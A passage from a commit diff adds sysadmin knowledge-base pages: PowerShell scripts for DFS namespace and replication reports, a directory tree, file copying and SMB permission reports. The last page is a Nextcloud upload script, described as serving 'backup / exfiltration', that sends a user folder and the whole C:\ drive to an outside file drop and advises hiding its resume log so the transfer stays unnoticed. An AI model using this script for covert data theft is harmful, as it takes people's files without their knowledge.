Restructured Documentation
Automatic Documentation Deployment / Sync Docs to https://kb.bunny-lab.io (push) Successful in 8s
Automatic Documentation Deployment / Sync Docs to https://kb.bunny-lab.io (push) Successful in 8s
This commit is contained in:
+281
@@ -0,0 +1,281 @@
|
||||
---
|
||||
tags:
|
||||
- DFS
|
||||
- Active Directory
|
||||
- PowerShell
|
||||
---
|
||||
|
||||
## Purpose
|
||||
Report the DFS namespaces, folder targets, and replication configuration in the current Active Directory domain. Run the script in PowerShell with the DFSN and DFSR modules and permission to query the domain.
|
||||
|
||||
## Script
|
||||
You may want to put together a simple table report of the DFS namespaces, replication info, and target folders. You can run the following powershell script to generate a nice table-based report of the current structure of the DFS namespaces in your domain.
|
||||
|
||||
??? example "Powershell Reporting Script"
|
||||
|
||||
```powershell
|
||||
# Automatically detect current AD domain and use it as DFS prefix
|
||||
try {
|
||||
$Domain = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name
|
||||
$DomainPrefix = "\\$Domain"
|
||||
} catch {
|
||||
Write-Warning "Unable to detect domain automatically. Falling back to manual value."
|
||||
$DomainPrefix = "\\bunny-lab.io"
|
||||
}
|
||||
|
||||
Import-Module DFSN -ErrorAction Stop
|
||||
Import-Module DFSR -ErrorAction Stop
|
||||
|
||||
function Get-ServerNameFromPath {
|
||||
param([string]$Path)
|
||||
if ([string]::IsNullOrWhiteSpace($Path)) { return $null }
|
||||
if ($Path -like "\\*") { return ($Path -split '\\')[2] }
|
||||
return $null
|
||||
}
|
||||
function Get-Max3 {
|
||||
param([int[]]$Values)
|
||||
if (-not $Values) { return 0 }
|
||||
return (($Values | Measure-Object -Maximum).Maximum)
|
||||
}
|
||||
|
||||
# Build: GroupName (lower) -> memberships[]
|
||||
$allGroups = Get-DfsReplicationGroup -ErrorAction SilentlyContinue
|
||||
$groupMembershipMap = @{}
|
||||
foreach ($g in $allGroups) {
|
||||
$ms = Get-DfsrMembership -GroupName $g.GroupName -ErrorAction SilentlyContinue
|
||||
$groupMembershipMap[$g.GroupName.ToLower()] = $ms
|
||||
}
|
||||
|
||||
# Flatten all memberships for regex fallback
|
||||
$allMemberships = @()
|
||||
foreach ($arr in $groupMembershipMap.Values) { if ($arr) { $allMemberships += $arr } }
|
||||
|
||||
$rows = New-Object System.Collections.Generic.List[psobject]
|
||||
|
||||
# Enumerate namespace roots
|
||||
$roots = Get-DfsnRoot -ErrorAction Stop | Where-Object { $_.Path -like "$DomainPrefix\*" }
|
||||
|
||||
Write-Host "DFS Namespace and Replication Overview" -ForegroundColor Cyan
|
||||
Write-Host "------------------------------------------------------`n"
|
||||
|
||||
foreach ($root in $roots) {
|
||||
|
||||
$rootPath = $root.Path
|
||||
$rootLeaf = ($rootPath -split '\\')[-1]
|
||||
|
||||
$nsServers = @()
|
||||
$rootTargets = Get-DfsnRootTarget -Path $rootPath -ErrorAction SilentlyContinue
|
||||
foreach ($rt in $rootTargets) {
|
||||
$srv = Get-ServerNameFromPath $rt.TargetPath
|
||||
if ($srv) { $nsServers += $srv }
|
||||
}
|
||||
|
||||
# Folders under this root
|
||||
$folders = Get-DfsnFolder -Path "$rootPath\*" -ErrorAction SilentlyContinue | Sort-Object Path
|
||||
|
||||
foreach ($f in $folders) {
|
||||
$namespaceFull = $f.Path
|
||||
$leaf = ($f.Path -split '\\')[-1]
|
||||
|
||||
# DFSN folder targets
|
||||
$targets = Get-DfsnFolderTarget -Path $f.Path -ErrorAction SilentlyContinue
|
||||
$targets = @($targets | Sort-Object { Get-ServerNameFromPath $_.TargetPath }) # ensure array
|
||||
|
||||
# Map to DFSR group by naming; fallback to regex on ContentPath
|
||||
$candidateGroup = ((($rootPath -replace '^\\\\','') + '\' + $leaf).ToLower())
|
||||
if ($groupMembershipMap.ContainsKey($candidateGroup)) {
|
||||
$msForFolder = $groupMembershipMap[$candidateGroup]
|
||||
} else {
|
||||
$escapedRootLeaf = [regex]::Escape($rootLeaf)
|
||||
$escapedLeaf = [regex]::Escape($leaf)
|
||||
$regex = "\\$escapedRootLeaf\\$escapedLeaf($|\\)"
|
||||
$msForFolder = $allMemberships | Where-Object { $_.ContentPath -imatch $regex }
|
||||
}
|
||||
$msForFolder = @($msForFolder) # normalize to array
|
||||
|
||||
# Build aligned rows: one per target
|
||||
$targetLines = @()
|
||||
$replLines = @()
|
||||
|
||||
foreach ($t in $targets) {
|
||||
$tServer = Get-ServerNameFromPath $t.TargetPath
|
||||
$targetLines += $t.TargetPath
|
||||
|
||||
$msForServer = $null
|
||||
if ($msForFolder.Count -gt 0) {
|
||||
$msForServer = $msForFolder | Where-Object { $_.ComputerName -ieq $tServer } | Select-Object -First 1
|
||||
}
|
||||
if ($msForServer -and $msForServer.ContentPath) { $replLines += $msForServer.ContentPath } else { $replLines += '' }
|
||||
}
|
||||
|
||||
# Max line count for row expansion (PS 5.1 safe)
|
||||
$maxLines = Get-Max3 @($targetLines.Count, $replLines.Count, $nsServers.Count)
|
||||
|
||||
for ($i = 0; $i -lt $maxLines; $i++) {
|
||||
|
||||
# Precompute values (PS 5.1: no inline-if in hashtables)
|
||||
$nsVal = ''
|
||||
if ($i -eq 0) { $nsVal = $namespaceFull }
|
||||
|
||||
$targetVal = ''
|
||||
if ($i -lt $targetLines.Count) { $targetVal = $targetLines[$i] }
|
||||
|
||||
$replVal = ''
|
||||
if ($i -lt $replLines.Count) { $replVal = $replLines[$i] }
|
||||
|
||||
$nsServerVal = ''
|
||||
if ($i -lt $nsServers.Count) { $nsServerVal = $nsServers[$i] }
|
||||
|
||||
$row = [PSCustomObject]@{
|
||||
'Namespace' = $nsVal
|
||||
'Member Folder Target(s)' = $targetVal
|
||||
'Replication Locations' = $replVal
|
||||
'Namespace Servers' = $nsServerVal
|
||||
}
|
||||
$rows.Add($row) | Out-Null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Render as a PowerShell bordered grid with one-space left/right padding in every cell
|
||||
function Write-DfsGrid {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory)]
|
||||
[System.Collections.IEnumerable]$Data,
|
||||
|
||||
[string[]]$Columns = @('Namespace','Member Folder Target(s)','Replication Locations','Namespace Servers'),
|
||||
|
||||
# Reasonable max widths; tune to your console (these are content+padding widths)
|
||||
[int[]]$MaxWidths = @(70, 70, 52, 30),
|
||||
|
||||
[switch]$Ascii # use +-| instead of box-drawing if your console garbles Unicode
|
||||
)
|
||||
|
||||
# Ensure arrays align
|
||||
if ($MaxWidths.Count -lt $Columns.Count) {
|
||||
$pad = New-Object System.Collections.Generic.List[int]
|
||||
$pad.AddRange($MaxWidths)
|
||||
for ($i=$MaxWidths.Count; $i -lt $Columns.Count; $i++) { $pad.Add(40) }
|
||||
$MaxWidths = $pad.ToArray()
|
||||
}
|
||||
|
||||
# Characters
|
||||
if ($Ascii) {
|
||||
$H = @{ tl='+'; tr='+'; bl='+'; br='+'; hz='-'; vt='|'; tj='+'; mj='+'; bj='+' }
|
||||
} else {
|
||||
# Box-drawing
|
||||
$H = @{ tl='┌'; tr='┐'; bl='└'; br='┘'; hz='─'; vt='│'; tj='┬'; mj='┼'; bj='┴' }
|
||||
try { [Console]::OutputEncoding = [Text.UTF8Encoding]::UTF8 } catch {}
|
||||
}
|
||||
|
||||
function TruncPad([string]$s, [int]$w) {
|
||||
if ($null -eq $s) { $s = '' }
|
||||
$s = $s -replace '\r','' -replace '\t',' '
|
||||
if ($s.Length -le $w) { return $s.PadRight($w, ' ') }
|
||||
if ($w -le 1) { return $s.Substring(0, $w) }
|
||||
return ($s.Substring(0, $w-1) + '…')
|
||||
}
|
||||
|
||||
# Materialize and compute widths (include one-space left/right padding for header and data)
|
||||
$rows = @($Data | ForEach-Object {
|
||||
$o = @{}
|
||||
foreach ($c in $Columns) { $o[$c] = [string]($_.$c) }
|
||||
[pscustomobject]$o
|
||||
})
|
||||
|
||||
$widths = @()
|
||||
for ($i=0; $i -lt $Columns.Count; $i++) {
|
||||
$col = $Columns[$i]
|
||||
# Start with header length including padding
|
||||
$max = (" " + $col + " ").Length
|
||||
foreach ($r in $rows) {
|
||||
$len = (" " + [string]$r.$col + " ").Length
|
||||
if ($len -gt $max) { $max = $len }
|
||||
}
|
||||
$widths += [Math]::Min($max, $MaxWidths[$i])
|
||||
}
|
||||
|
||||
# Line builders
|
||||
function DrawTop() {
|
||||
$line = $H.tl
|
||||
for ($i = 0; $i -lt $widths.Count; $i++) {
|
||||
$line += ($H.hz * $widths[$i])
|
||||
if ($i -lt ($widths.Count - 1)) {
|
||||
$line += $H.tj
|
||||
} else {
|
||||
$line += $H.tr
|
||||
}
|
||||
}
|
||||
$line
|
||||
}
|
||||
function DrawMid([string[]]$Columns, [int[]]$widths, $H) {
|
||||
$line = $H.vt
|
||||
for ($i=0; $i -lt $widths.Count; $i++) {
|
||||
$line += TruncPad (" " + $Columns[$i] + " ") $widths[$i]
|
||||
$line += $H.vt
|
||||
}
|
||||
$line
|
||||
}
|
||||
function DrawSep() {
|
||||
$line = $H.vt
|
||||
for ($i=0; $i -lt $widths.Count; $i++) {
|
||||
$line += ($H.hz * $widths[$i])
|
||||
$line += $H.vt
|
||||
}
|
||||
$line
|
||||
}
|
||||
function DrawHeaderSep() {
|
||||
$line = $H.vt
|
||||
for ($i=0; $i -lt $widths.Count; $i++) {
|
||||
$line += ($H.hz * $widths[$i])
|
||||
$line += $H.vt
|
||||
}
|
||||
$line
|
||||
}
|
||||
function DrawBottom() {
|
||||
$line = $H.bl
|
||||
for ($i = 0; $i -lt $widths.Count; $i++) {
|
||||
$line += ($H.hz * $widths[$i])
|
||||
if ($i -lt ($widths.Count - 1)) {
|
||||
$line += $H.bj
|
||||
} else {
|
||||
$line += $H.br
|
||||
}
|
||||
}
|
||||
$line
|
||||
}
|
||||
function DrawRow($r, [string[]]$Columns, [int[]]$widths, $H) {
|
||||
$line = $H.vt
|
||||
for ($i=0; $i -lt $widths.Count; $i++) {
|
||||
$val = [string]$r.($Columns[$i])
|
||||
$line += TruncPad (" " + $val + " ") $widths[$i]
|
||||
$line += $H.vt
|
||||
}
|
||||
$line
|
||||
}
|
||||
|
||||
# Render with group separators between namespaces (when the Namespace cell is non-empty)
|
||||
Write-Host (DrawTop)
|
||||
Write-Host (DrawMid -Columns $Columns -widths $widths -H $H)
|
||||
Write-Host (DrawHeaderSep)
|
||||
|
||||
$first = $true
|
||||
foreach ($r in $rows) {
|
||||
if (-not $first -and ([string]$r.$($Columns[0])) ) {
|
||||
# Namespace changed → draw a separator
|
||||
Write-Host (DrawSep)
|
||||
}
|
||||
$first = $false
|
||||
Write-Host (DrawRow -r $r -Columns $Columns -widths $widths -H $H)
|
||||
}
|
||||
|
||||
Write-Host (DrawBottom)
|
||||
}
|
||||
|
||||
Write-DfsGrid -Data $rows
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [DFS Deployment](<../../../../deployments/Applications/Files and Collaboration/Windows Server/DFS Namespaces with Replication.md>) — Review the namespace and replication structure that this report inspects.
|
||||
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
@@ -0,0 +1,132 @@
|
||||
---
|
||||
tags:
|
||||
- DFS
|
||||
- Replication
|
||||
- PowerShell
|
||||
---
|
||||
|
||||
## Purpose
|
||||
Report the directional replication backlog between the DFS member servers in the script. Set the member names to the intended deployment and run from a PowerShell session with access to its DFS replication configuration.
|
||||
|
||||
## Script
|
||||
You may want to check that replication is occurring bi-directionally between every member server in your DFS deployment. I wrote a script below that effectively shows you every replication group and each directional backlog status.
|
||||
|
||||
```powershell
|
||||
# --- CONFIG ---
|
||||
$Members = @("LAB-FPS-01","LAB-FPS-02")
|
||||
$SummarizeAcrossFolders = $true # $true = one line per direction per RG; $false = per-folder lines
|
||||
|
||||
function Invoke-DfsrBacklogStatus {
|
||||
param(
|
||||
[Parameter(Mandatory)] [string] $RG,
|
||||
[Parameter(Mandatory)] [string] $RF,
|
||||
[Parameter(Mandatory)] [string] $Send,
|
||||
[Parameter(Mandatory)] [string] $Recv
|
||||
)
|
||||
|
||||
$out = & dfsrdiag backlog /rgname:"$RG" /rfname:"$RF" /sendingmember:"$Send" /receivingmember:"$Recv" 2>&1 | Out-String
|
||||
$outTrim = ($out -split "`r?`n" | ForEach-Object { $_.Trim() }) | Where-Object { $_ -ne "" }
|
||||
|
||||
if ($out -match 'No Backlog') {
|
||||
return [pscustomobject]@{ Status="No Backlog"; Count=0; Detail=$null }
|
||||
}
|
||||
|
||||
$count = $null
|
||||
$countLine = $outTrim | Where-Object { $_ -match '(?i)backlog' } | Select-Object -First 1
|
||||
if ($countLine -and ($countLine -match '(\d+)')) { $count = [int]$matches[1] }
|
||||
|
||||
$detail = ($outTrim | Select-Object -First 8) -join " | "
|
||||
|
||||
return [pscustomobject]@{
|
||||
Status = if ($count -ne $null) { "Backlog: $count" } else { "Backlog/Check Output" }
|
||||
Count = $count
|
||||
Detail = $detail
|
||||
}
|
||||
}
|
||||
|
||||
$groups = Get-DfsReplicationGroup | Sort-Object GroupName
|
||||
|
||||
foreach ($g in $groups) {
|
||||
$rg = $g.GroupName
|
||||
$rfs = Get-DfsReplicatedFolder -GroupName $rg | Sort-Object FolderName
|
||||
|
||||
Write-Host ""
|
||||
Write-Host ("== Replication Group: {0} ==" -f $rg)
|
||||
|
||||
foreach ($send in $Members) {
|
||||
foreach ($recv in $Members) {
|
||||
if ($send -eq $recv) { continue }
|
||||
|
||||
if ($SummarizeAcrossFolders) {
|
||||
$worstCount = 0
|
||||
$nonZero = @()
|
||||
$errorsOrDetails = @()
|
||||
|
||||
foreach ($rfObj in $rfs) {
|
||||
$rf = $rfObj.FolderName
|
||||
$res = Invoke-DfsrBacklogStatus -RG $rg -RF $rf -Send $send -Recv $recv
|
||||
|
||||
if ($res.Status -ne "No Backlog") {
|
||||
$nonZero += [pscustomobject]@{ RF=$rf; Status=$res.Status; Count=$res.Count; Detail=$res.Detail }
|
||||
if ($res.Count -ne $null -and $res.Count -gt $worstCount) { $worstCount = $res.Count }
|
||||
|
||||
# ✅ FIX: ${rf} avoids the ':' parsing issue
|
||||
if ($res.Detail) { $errorsOrDetails += "RF=${rf}: $($res.Detail)" }
|
||||
}
|
||||
}
|
||||
|
||||
if ($nonZero.Count -eq 0) {
|
||||
Write-Host ("{0} -> {1}: No Backlog" -f $send, $recv)
|
||||
} else {
|
||||
if ($worstCount -gt 0) {
|
||||
Write-Host ("{0} -> {1}: Backlog (max {2} across RFs)" -f $send, $recv, $worstCount)
|
||||
} else {
|
||||
Write-Host ("{0} -> {1}: Backlog/Errors (see details)" -f $send, $recv)
|
||||
}
|
||||
|
||||
$errorsOrDetails | Select-Object -First 5 | ForEach-Object { Write-Host (" - {0}" -f $_) }
|
||||
if ($errorsOrDetails.Count -gt 5) { Write-Host " - ... (more omitted)" }
|
||||
}
|
||||
}
|
||||
else {
|
||||
foreach ($rfObj in $rfs) {
|
||||
$rf = $rfObj.FolderName
|
||||
$res = Invoke-DfsrBacklogStatus -RG $rg -RF $rf -Send $send -Recv $recv
|
||||
|
||||
if ($res.Status -eq "No Backlog") {
|
||||
Write-Host ("{0} -> {1} [{2}]: No Backlog" -f $send, $recv, $rf)
|
||||
} else {
|
||||
Write-Host ("{0} -> {1} [{2}]: {3}" -f $send, $recv, $rf, $res.Status)
|
||||
if ($res.Detail) { Write-Host (" - {0}" -f $res.Detail) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
!!! example "Example Output"
|
||||
You will see output like the following when you run the script.
|
||||
|
||||
```powershell
|
||||
== Replication Group: bunny-lab.io\music\fl studio plugins ==
|
||||
LAB-FPS-01 -> LAB-FPS-02: No Backlog
|
||||
LAB-FPS-02 -> LAB-FPS-01: No Backlog
|
||||
|
||||
== Replication Group: bunny-lab.io\music\personal music ==
|
||||
LAB-FPS-01 -> LAB-FPS-02: No Backlog
|
||||
LAB-FPS-02 -> LAB-FPS-01: No Backlog
|
||||
|
||||
== Replication Group: bunny-lab.io\music\shared music ==
|
||||
LAB-FPS-01 -> LAB-FPS-02: No Backlog
|
||||
LAB-FPS-02 -> LAB-FPS-01: No Backlog
|
||||
|
||||
== Replication Group: bunny-lab.io\projects\coding ==
|
||||
LAB-FPS-01 -> LAB-FPS-02: No Backlog
|
||||
LAB-FPS-02 -> LAB-FPS-01: No Backlog
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [DFS Deployment](<../../../../deployments/Applications/Files and Collaboration/Windows Server/DFS Namespaces with Replication.md>) — Identify the replication members and folders.
|
||||
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
@@ -0,0 +1,57 @@
|
||||
---
|
||||
tags:
|
||||
- PowerShell
|
||||
- Scripting
|
||||
---
|
||||
|
||||
## Purpose
|
||||
Sometimes you just need a basic script that outputs a pretty directory and file tree. This script offers files and folders to ignore, and outputs a fancy directory tree.
|
||||
|
||||
```powershell
|
||||
function Export-Tree {
|
||||
param (
|
||||
[string]$Path = ".",
|
||||
[string]$OutFile = "directory_tree.txt"
|
||||
)
|
||||
|
||||
$global:TreeLines = @()
|
||||
$global:IgnoreList = @(
|
||||
".git",
|
||||
"Dependencies"
|
||||
)
|
||||
|
||||
function Walk-Tree {
|
||||
param (
|
||||
[string]$Folder,
|
||||
[string]$Prefix
|
||||
)
|
||||
|
||||
$items = Get-ChildItem -Path $Folder -Force | Where-Object {
|
||||
$_.Name -ne "." -and $_.Name -ne ".." -and
|
||||
($global:IgnoreList -notcontains $_.Name)
|
||||
} | Sort-Object PSIsContainer, Name
|
||||
|
||||
$count = $items.Count
|
||||
|
||||
for ($i = 0; $i -lt $count; $i++) {
|
||||
$item = $items[$i]
|
||||
$connector = if ($i -eq $count - 1) { "└── " } else { "├── " }
|
||||
$global:TreeLines += "$Prefix$connector$($item.Name)"
|
||||
if ($item.PSIsContainer) {
|
||||
$newPrefix = if ($i -eq $count - 1) { "$Prefix " } else { "$Prefix│ " }
|
||||
Walk-Tree -Folder $item.FullName -Prefix $newPrefix
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Walk-Tree -Folder $Path -Prefix ""
|
||||
|
||||
$global:TreeLines | Set-Content -Path $OutFile -Encoding UTF8
|
||||
}
|
||||
|
||||
# Run it
|
||||
Export-Tree -Path "." -OutFile "directory_tree.txt"
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
@@ -0,0 +1,47 @@
|
||||
---
|
||||
tags:
|
||||
- PowerShell
|
||||
- File Management
|
||||
- Scripting
|
||||
---
|
||||
|
||||
## Purpose
|
||||
Locate specific files, and copy them with a renamed datestamp appended to a specific directory.
|
||||
|
||||
```powershell
|
||||
# Define an array of objects, each having a prefix and a suffix
|
||||
$files = @(
|
||||
@{Prefix="name"; Suffix="Extension"},
|
||||
@{Prefix="name"; Suffix="Extension"}
|
||||
)
|
||||
|
||||
# Define the destination directory
|
||||
$destination = "C:\folder\to\copy\to"
|
||||
|
||||
# Loop over the file name patterns
|
||||
foreach ($file in $files) {
|
||||
# Search for files that start with the current prefix and end with the current suffix
|
||||
$matches = Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Filter "$($file.Prefix)*.$($file.Suffix)"
|
||||
|
||||
# Loop over the matching files
|
||||
foreach ($match in $matches) {
|
||||
# Get the file's last modified date
|
||||
$lastModifiedDate = $match.LastWriteTime
|
||||
|
||||
# Get the file's owner
|
||||
$owner = (Get-Acl -Path $match.FullName).Owner
|
||||
|
||||
# Output the file name, last modified date, and owner
|
||||
Write-Output "File: $($match.FullName), Last Modified Date: $lastModifiedDate, Owner: $owner"
|
||||
|
||||
# Generate a unique name for the copied file by appending the last modified date and time
|
||||
$newName = "{0}_{1:yyyyMMdd_HHmmss}{2}" -f $match.BaseName, $lastModifiedDate, $match.Extension
|
||||
|
||||
# Copy the file to the destination directory with the new name
|
||||
Copy-Item -Path $match.FullName -Destination (Join-Path -Path $destination -ChildPath $newName)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
---
|
||||
tags:
|
||||
- SMB
|
||||
- PowerShell
|
||||
- Permissions
|
||||
- Scripting
|
||||
---
|
||||
|
||||
## Purpose
|
||||
This script will iterate over all network shares hosted by the computer it is running on, and will give *recursive* permissions to all folders, subfolders, and files, including hidden ones. It is very I/O intensive given it iterates recursively on every file/folder being shared.
|
||||
|
||||
```powershell
|
||||
$AllShares = Get-SMBShare | Where-Object {$_.Description -NotMatch "Default share|Remote Admin|Remote IPC|Printer Drivers"} | Select-Object -ExpandProperty Path
|
||||
$Output = @()
|
||||
ForEach ($SMBDirectory in $AllShares)
|
||||
{
|
||||
$FolderPath = Get-ChildItem -Directory -Path $SMBDirectory -Recurse -Force
|
||||
ForEach ($Folder in $FolderPath) {
|
||||
$Acl = Get-Acl -Path $Folder.FullName
|
||||
ForEach ($Access in $Acl.Access)
|
||||
{
|
||||
$Properties = [ordered]@{'Folder Name'=$Folder.FullName;'Group/User'=$Access.IdentityReference;'Permissions'=$Access.FileSystemRights;'Inherited'=$Access.IsInherited}
|
||||
$Output += New-Object -TypeName PSObject -Property $Properties
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$Output | Export-CSV -Path C:\SMB_REPORT.csv -NoTypeInformation -Append
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
@@ -0,0 +1,21 @@
|
||||
---
|
||||
tags:
|
||||
- SMB
|
||||
- PowerShell
|
||||
- Permissions
|
||||
- Scripting
|
||||
---
|
||||
|
||||
## Purpose
|
||||
This script will iterate over all network shares hosted by the computer it is running on, and will give *top-level* permissions to all the shared folders. It will not navigate deeper than the top-level in its report. Very I/O friendly.
|
||||
|
||||
```powershell
|
||||
$AllShares = Get-SMBShare | Where-Object {$_.Description -NotMatch "Default share|Remote Admin|Remote IPC|Printer Drivers"} | Select-Object -ExpandProperty Name
|
||||
ForEach ($SMBDirectory in $AllShares)
|
||||
{
|
||||
Get-SMBShareAccess -Name $SMBDirectory | Export-CSV -Path C:\SMB_REPORT.csv -NoTypeInformation -Append
|
||||
}
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
@@ -0,0 +1,160 @@
|
||||
---
|
||||
tags:
|
||||
- Nextcloud
|
||||
- PowerShell
|
||||
- Scripting
|
||||
---
|
||||
|
||||
## Purpose
|
||||
In some unique cases, you want to be able to either perform backups of data or exfiltrate data to Nextcloud from a local device via the use of a script. Doing such a thing with Nextcloud as the destination is not very documented, but you can achieve that result by running a script like what is seen below:
|
||||
|
||||
## Windows
|
||||
!!! abstract "Environment Variables"
|
||||
You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.
|
||||
|
||||
| **Variable** | **Default Value** | **Description** |
|
||||
| :--- | :--- | :--- |
|
||||
| `NEXTCLOUD_SERVER_URL` | `https://cloud.bunny-lab.io` | This is the base URL of the Nextcloud server that data will be copied to. |
|
||||
| `NEXTCLOUD_SHARE_PASSWORD` | `<Share Password>` | You need to create a share on Nextcloud, and configure it as a `File Drop`, then put a share password to protect it. Put that password here. |
|
||||
| `NEXTCLOUD_SHARE` | `ABCDEFGHIJK` | The tail-end of a nextcloud share link, e.g. `https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>` |
|
||||
| `IGNORE_LIST` | `AppData;AMD;Drivers;Radeon;Program Files;Program Files (x86);Windows;$SysReset;$WinREAgent;PerfLogs;ProgramData;Recovery;System Volume Information;hiberfile.sys;pagefile.sys;swapfile.sys` | This is a list of files/folders to ignore when iterating through directories. A sensible default is selected if you choose to copy everything from the root C:\ directory. |
|
||||
| `PRIMARY_DIR` | `C:\Users\Example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
|
||||
| `SECONDARY_DIR` | `C:\` | This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file. |
|
||||
| `LOGFILE` | `C:\Windows\Temp\nc_pull.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||
|
||||
### Powershell Script
|
||||
```powershell
|
||||
# --------------------------
|
||||
# Function for File Upload Logic
|
||||
# --------------------------
|
||||
Function Upload-Files ($targetDir) {
|
||||
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
try {
|
||||
# --------------------------
|
||||
# Check Ignore List
|
||||
# --------------------------
|
||||
$ignore = $false # Initialize variable to check if current folder should be ignored
|
||||
foreach ($item in $IGNORE_LIST) {
|
||||
if ($_.Directory -match [regex]::Escape($item)) {
|
||||
$ignore = $true
|
||||
break
|
||||
}
|
||||
}
|
||||
if ($ignore) {
|
||||
Write-Host "Ignoring file $($_.FullName) due to directory match in ignore list."
|
||||
return
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Upload File Process
|
||||
# --------------------------
|
||||
$filename = $_.Name # Extract just the filename
|
||||
|
||||
# Check if this file has been uploaded before by searching in the log file
|
||||
if ((Get-Content $LOGFILE) -notcontains $_.FullName) {
|
||||
|
||||
Write-Host "Uploading $($_.FullName) ..."
|
||||
|
||||
# Upload the file
|
||||
$response = Invoke-RestMethod -Uri ($URL + $filename) -Method Put -InFile $_.FullName -Headers @{'X-Requested-With' = 'XMLHttpRequest'} -Credential $credentials
|
||||
|
||||
# Record this file in the log since it was successfully uploaded
|
||||
Add-Content -Path $LOGFILE -Value $_.FullName
|
||||
|
||||
} else {
|
||||
Write-Host "Skipping previously uploaded file $($_.FullName)"
|
||||
}
|
||||
} catch {
|
||||
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Initialize Environment Variables
|
||||
# --------------------------
|
||||
$securePassword = ConvertTo-SecureString $env:NEXTCLOUD_SHARE_PASSWORD -AsPlainText -Force
|
||||
$credentials = New-Object System.Management.Automation.PSCredential ($env:NEXTCLOUD_SHARE, $securePassword)
|
||||
$PRIMARY_DIR = $env:PRIMARY_DIR
|
||||
$SECONDARY_DIR = $env:SECONDARY_DIR
|
||||
$URL = "$env:NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
||||
$IGNORE_LIST = $env:IGNORE_LIST -split ';' # Splitting the folder names into an array
|
||||
|
||||
# --------------------------
|
||||
# Checking Log File
|
||||
# --------------------------
|
||||
if (-not (Test-Path $LOGFILE)) {
|
||||
New-Item -Path $LOGFILE -ItemType "file"
|
||||
}
|
||||
|
||||
# --------------------------
|
||||
# Perform Uploads
|
||||
# --------------------------
|
||||
Write-Host "Uploading files from primary directory: $PRIMARY_DIR"
|
||||
Upload-Files $PRIMARY_DIR
|
||||
|
||||
Write-Host "Uploading files from secondary directory: $SECONDARY_DIR"
|
||||
Upload-Files $SECONDARY_DIR
|
||||
|
||||
```
|
||||
|
||||
## MacOS/Linux
|
||||
!!! abstract "Environment Variables"
|
||||
You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.
|
||||
|
||||
| **Variable** | **Default Value** | **Description** |
|
||||
| :--- | :--- | :--- |
|
||||
| `NEXTCLOUD_SERVER_URL` | `https://cloud.bunny-lab.io` | This is the base URL of the Nextcloud server that data will be copied to. |
|
||||
| `NEXTCLOUD_SHARE_PASSWORD` | `<Share Password>` | You need to create a share on Nextcloud, and configure it as a `File Drop`, then put a share password to protect it. Put that password here. |
|
||||
| `NEXTCLOUD_SHARE` | `ABCDEFGHIJK` | The tail-end of a nextcloud share link, e.g. `https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>` |
|
||||
| `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
|
||||
| `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||
|
||||
### Bash Script
|
||||
```sh
|
||||
#!/bin/bash
|
||||
|
||||
# Directory to search
|
||||
DIR=$DATA_TO_COPY
|
||||
|
||||
# URL for the upload
|
||||
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
||||
|
||||
# Check if log file exists. If not, create one.
|
||||
if [ ! -f "$LOGFILE" ]; then
|
||||
touch "$LOGFILE"
|
||||
fi
|
||||
|
||||
# Iterate over each file in the directory and its subdirectories
|
||||
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
|
||||
# Extract just the filename
|
||||
filename=$(basename "$file")
|
||||
|
||||
# Check if this file has been uploaded before
|
||||
if ! grep -q "$file" "$LOGFILE"; then
|
||||
